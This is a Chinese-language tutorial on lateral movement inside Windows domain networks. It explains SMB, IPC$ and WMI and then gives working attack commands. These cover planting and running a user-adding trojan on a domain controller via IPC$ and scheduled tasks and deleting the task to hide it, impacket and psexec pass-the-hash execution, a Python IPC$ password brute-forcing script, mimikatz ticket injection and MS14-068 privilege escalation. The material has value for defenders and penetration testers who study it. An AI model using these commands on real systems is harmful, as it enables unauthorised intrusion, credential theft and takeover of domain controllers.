一、IPC&SMB&WMI(协议介绍)
1、SMB协议(实现资源共享的协议) 445端口
在内网中,最重要的两点其实就是内网安全(与外网隔离)和资源共享(通过SMB等协议实现)。
SMB协议简单来说,就是实现内网中资源共享的。客户机向服务器发送SMB命令就能访问服务器上的共享目录,包括打开文件、读写文件等。
在WindowsNT中SMB基于NBT实现,即使用139(TCP)端口;而在Windows2000中,SMB除了基于NBT实现,还可以直接通过445端口实现。
2、IPC(实现进程间通信的协议)
IPC(Inter-Process Communication,进程间通信),进程间通信是指两个进程的数据之间产生交互。进程间通信主要方式有共享内存、消息队列、管道等。其中共享内存主要用于同一计算机内进程间通信,消息队列和管道主要用于分布式环境。
IPC提供了几种进程间通信的方法:
- 半双工Unix管道
- FIFOs(命名管道)
- 消息队列
- 信号量
- 共享内存
- 网络Socket
FIFOs是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令连接双方,建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。因此,我们可以基于此实现对用户名和密码的爆破。IPC$需要139或445端口
3、wmi(Windows管理工具,cmd和powershell就是它支持的) 135端口
简单来说,咱们在cmd或者powershell中使用的命令行语言,就是WMI支持的,它提供给我们一个接口如powershell,便于我们管理计算机。
135端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务,通过RPC可以保证在一台计算机上运行的程序可以顺利地执行远程计算机上的代码;使用DCOM可以通过网络直接进行通信,能够包括HTTP协议在内的多种网络传输。
- 进程间通信(IPC)是在 多任务操作系统 或 联网的计算机 之间运行的 程序和进程 所用的通信技术。有两种类型的进程间通信(IPC)
- 本地过程调用(LPC):LPC用在多任务操作系统中,使得同时运行的任务能互相会话。这些任务共享内存空间,使任务同步和互相发送信息。
- 远程过程调用(RPC):RPC类似于LPC,只是在网上工作。RPC开始是出现在Sun微系统公司和HP公司的运行UNⅨ操作系统的计算机中。
简单来说,RPC就是用于支持远程IPC的连接。无论是本地连接还是远程连接,都要依托于WMI服务进行管理。
4、总结
SMB协议用于实现共享,IPC用于建立连接,不连接怎么共享?前面已经说了,共享是包括命名管道的,而命名管道正是连接方式,因此SMB协议的共享其实是包含IPC的,不仅如此,它还依赖于IPC连接。但是归根结底,对于链接后的计算机的远程管理,还是要依托于WMI。
二、at&schtasks
1.基本流程
at&schtasks用于创建定时任务,说白了就是创建计划任务让靶机执行我们植入的木马。
利用流程:
- 拿到web服务器
- mimikatz拿到用户名和明文密码
- 通过跳板机用户名密码建立与共享服务器(一般是域控)的ipc连接
- 通过IPC植入木马(copy要执行的命令或脚本到目标主机)
- 通过
at&schtasks创建计划任务,执行木马 - 删除IPC连接
adduser.bat脚本文件内容(作为下面攻击样例的木马脚本示例)
net user <username> <password> /add
#以下是在跳板机上执行的IPC命令
net use \\<域控IP>\ipc$ "<password>" /user:"<username>" #建立IPC连接(工作组)
net use \\<域控IP>\ipc$ "<password>" /user:<内网域名>\administra #建立IPC连接(域内)
dir \\<域控ip>\C(盘符)$\ #查看域控C盘下的文件
copy C:\adduser.bat \\<域控ip>\C$ #将跳板机C盘下的木马文件上传到域控的C盘下
##之后给域控创建计划任务
at \\<域控ip> 15:30(执行时间) C:\add.bat(木马文件) #windows2012以下用at创建计划任务
schtasks /create /s <域控ip> /ru "SYSTEM" /tn adduser(任务名) /sc DAILY /tr C:\add.bat(木马文件) /F #windows2012以上版本,使用schtasks创建一个任务名为adduser的计划任务,这个计划任务是去执行上面从跳板机传进来的存储在C盘下的木马文件
schtasks /run /s <域控ip> /tn adduser(任务名) /i #运行刚刚创建的计划任务任务
schtasks /delete /s <域控ip> /tn adduser(任务名) #删除adduser任务(因为上面已经运行起来了木马文件,所以删除计划任务并不会时木马文件停止运行,反而这是一种隐藏手法,让对方难以发现)
2.impacket
impacket是一个打包好的工具包,里面包含了对于各种协议和系统命令的利用工具。
对于 at&schtasks,我们可以使用 impacket 中的 atexec.exe,使用它可以轻松地进行远程连接并执行系统命令。
利用atexec.exe进程远程命令执行,如下:
atexec.exe ./administrator:<password>@<域控ip> "<command>"
atexec.exe god/administrator:<apssword>@<域控ip> "<command>" #利用明文密码远程执行命令
atexec.exe-hashes :<密码hash值> ./administrator@<域控ip> "<command>" # 利用hash密码远程执行命令
python版impacket下载:
https://github.com/SecureAuthCorp/impacket
exe版impacket下载:
https://gitee.com/RichChigga/impacket-examples-windows
pyinstaller将py文件打包成可执行文件
pip install pyinstaller
pyinstaller -F app.py
拿得到的域内主机的用户名和密码字典,使用python脚本对域内主机进行用户名和密码的遍历,然后使用上面的pyinstaller将脚本打包成可执行文件,在跳板机上执行。
import os,time
ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'192.168.3.31',
'192.168.3.33'
}
users={
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack',
'mary',
'vpnadm',
'webadmin'
}
passs={
'admin',
'admin!@#45',
'Admin12345'
}
for ip in ips:
for user in users:
for mima in passs:
exec="net use \"+ "\"+ip+'\ipc$ '+mima+' /user:god\'+user
print('--->'+exec+'<---')
os.system(exec)
time.sleep(1)
三、smb&wmi
1.psexec和smbexec
psexec通过进程间通信去远程执行命令
利用思路不变
psexec是微软官方pstools中的工具,所以不需要考虑免杀。
如果利用hash传递,则需要用impacket工具包里的工具,但是需要做免杀。
#在跳板机执行
net use \\<域控IP>\ipc$ "<password>" /user:administrator #建议ipc连接
psexec \\<域控ip> -s cmd #-s意思是以system权限运行(需要建立ipc连接)
# psexec第二种,不需要建立ipc连接,使用明文账号密码(但其实提供明文去执行命令,底层它还是自动去建立了ipc连接)
psexec \\<域控ip> -u administrator -p <password> -s cmd
psexec -hashes :<hash> ./administrator@<域控ip> #官方pstools无法采用hash连接
psexec -hashes :<hash> god(域)/administrator@<域控ip>
#smbexec无需ipc连接 明文或hash传递
smbexec god(域)/administrator:<password>@<域控ip> #明文传递
smbexec ./administrator:<password>@<域控ip>
smbexec -hashes :<hash> god(域)/administrator@<域控ip> #hash传递
smbexec -hashes :<hash> ./administrator@<域控ip>
2.wmi服务利用-csript,wmiexec,wmic
WMI(Windows Management Instructmentation)是通过135端口进行利用,支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。
#自带wmic明文传递 无回显
wmic /node:<域控ip> /user:administrator /password:<password> process call create "cmd.exe /c ipconfig >C:\1.txt"
#自带cscript明文传递,有回显
cscript //nologo wmiexec.vbs /shell <域控ip> administrator <password>
#套件 impacket wmiexec 明文传递或hash传递 有回显exe版本
wmiexec ./administrator:<password>@<域控ip> "<command>"
wmiexec god/administrator:<password>@<域控ip> "<command>"
我个人认为,前面介绍的几种方法没啥区别,都是基于IPC$共享,都需要139/445(smb协议需要的)端口的开启,初此之外,还离不开135(wmi需要的)端口,因为135端口是用于支持远程IPC建立的。IPC$共享的目的是为了便于管理员进行远程操作和管理,但是我们可以利用验证时的回显进行密码爆破。
四、pth&ptk&ptt
PTH:pass the hash(LM、NTLM)
PTK:pass the key(AES 256)
PTT:pass the ticket
1.PTH&PTK(hash传递)
Windows2012及以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码。Windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码。
无法获取明文密码的解决方法:
- 利用hash传递(pth、ptk)进行横向移动
- 利用注册表操作 开启Wdigest Auth 值进行获取
- 利用工具或第三方平台(Hashcat)进行破解获取
Windows认证采用LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在Windows 2003以后,认证方式均为NTLM Hash。
如果仅得到了Hash,既可以使用hashcat在本机破解,也可以使用前面介绍的impacket。impacket中的工具能传递hash并能直接执行系统命令,优点:自带提权,命令简洁,功能强大。缺点:非官方工具,容易被杀。
PTH、PTK均可以使用mimikatz进行获取和攻击。
hashcat下载地址:https://github.com/hashcat/hashcat

2.PTT(票据传递)
PTT攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的。
Kerberos协议工作原理在Kerberoast攻击中已有介绍,其工作流程如下:
- 客户机将明文密码进行 NTLM 哈希,然后和时间戳一起加密(使用krbtgt 密码 hash 作为密钥),发送给 kdc(域控),kdc 对用户进行检测,成功之后创建 TGT(Ticket-Granting Ticket)
- 域控将 TGT 进行加密签名返回给客户机器,只有域用户 krbtgt 才能读取 kerberos 中 TGT 数据
- 然后客户机将TGT发送给域控请求TGS(Ticket-Granting Server票据授权服务器)票据,并且对TGT进行检测
- 检测成功之后,将目标服务账户的NTML以及TGT进行加密,将加密后的结果返回给客户机。
说白了,票据就跟cookie一样,我们需要获取新鲜的cookie(未过期的,主机登录后十小时左右过期),然后注入内存当中,通过伪装混过认证。
#利用ms14-068 powershell执行,能实现普通用户直接获取域控system权限
1.查看当前sid: whoami/user
2.mimikatz: kerberos::purge #清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
kerberos::list #查看当前机器凭证
kerberos::ptc <票据文件> #将票据注入到内存中
3.利用ms14-068生成TGT票据
ms14-068.exe -u <域成员名>@<域名> -s <sid> -d <域控ip> -p <域成员密码>
4.票据注入内存
mimikatz.exe "kerberos::ptc TGT_mary@god.org.ccache" exit
5.查看凭证列表
klist
6.利用
dir \\<域控ip>\C$
MS14-068下载:
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
五、总结
综上,内网横向移动主要有以下几种方式:
- 利用系统存在的漏洞进行横向移动
- 建立IPC连接,上传木马,利用at&schtasks写计划任务执行木马文件从而达到横向移动的目的
- 通过进程间通信,利用psexec、wmi、smb去远程执行命令
- 通过pth&ptk利用用户hash进行横向移动
- 通过ptt利用用户票据进行横向移动
其中2、3的前提是都需要获取用户明文密码或hash,4只需要hash,5的前提是需要获取票据。